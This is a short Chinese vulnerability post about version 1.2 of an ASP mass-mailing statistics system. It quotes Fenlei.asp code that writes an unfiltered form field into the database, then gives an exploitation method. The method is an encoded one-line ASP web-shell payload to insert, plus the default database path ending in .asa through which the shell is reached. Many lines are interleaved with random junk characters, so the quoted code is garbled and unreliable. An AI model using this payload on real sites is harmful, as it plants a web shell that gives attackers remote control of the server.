铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
) A5 S! |1 A! q. `. EID=Request.QueryString("ID")
7 H7 u$ Y/ H: t, V) x4 r% gIF Countss ("tui","Fenlei",ID )<>0 then
$ Z; ?; o! c( T+ }'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
! ]2 x3 |5 a2 A7 }$ KSet Rs=Server.CreateObject("adodb.Recordset")
. g' v, j4 W1 v" s# o/ F8 c/ D4 Y/ p; xSql="Select * From Fenlei Order by id Desc "
  E' ]" G& }  i! [Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
# e+ A8 a+ T+ @: M$ v8 r9 y'略
  W  G& h; |3 t! ISet Rs=Server.CreateObject("adodb.Recordset")
; l7 w9 ^. ]" h# S+ c* j* U" QSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
/ c- l5 R, g( W! \'略
5 r9 n: t( [0 R& C%>
( P  m( w* q/ d+ }

0 V* e/ T3 }. K' b% s3 J& O  Y
没有过滤，直接写入数据库。

. G! [& s7 g5 t+ k/ f5 m+ G- @利用方法：
; u/ c& b, j5 `: \# `8 O
插入：┼攠數畣整爠煥敵瑳∨≡┩>

) K% m) P; ^" K0 X0 f" L$ m1 T
连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
, y! R! }- S9 @% b+ y! |' X'install.asp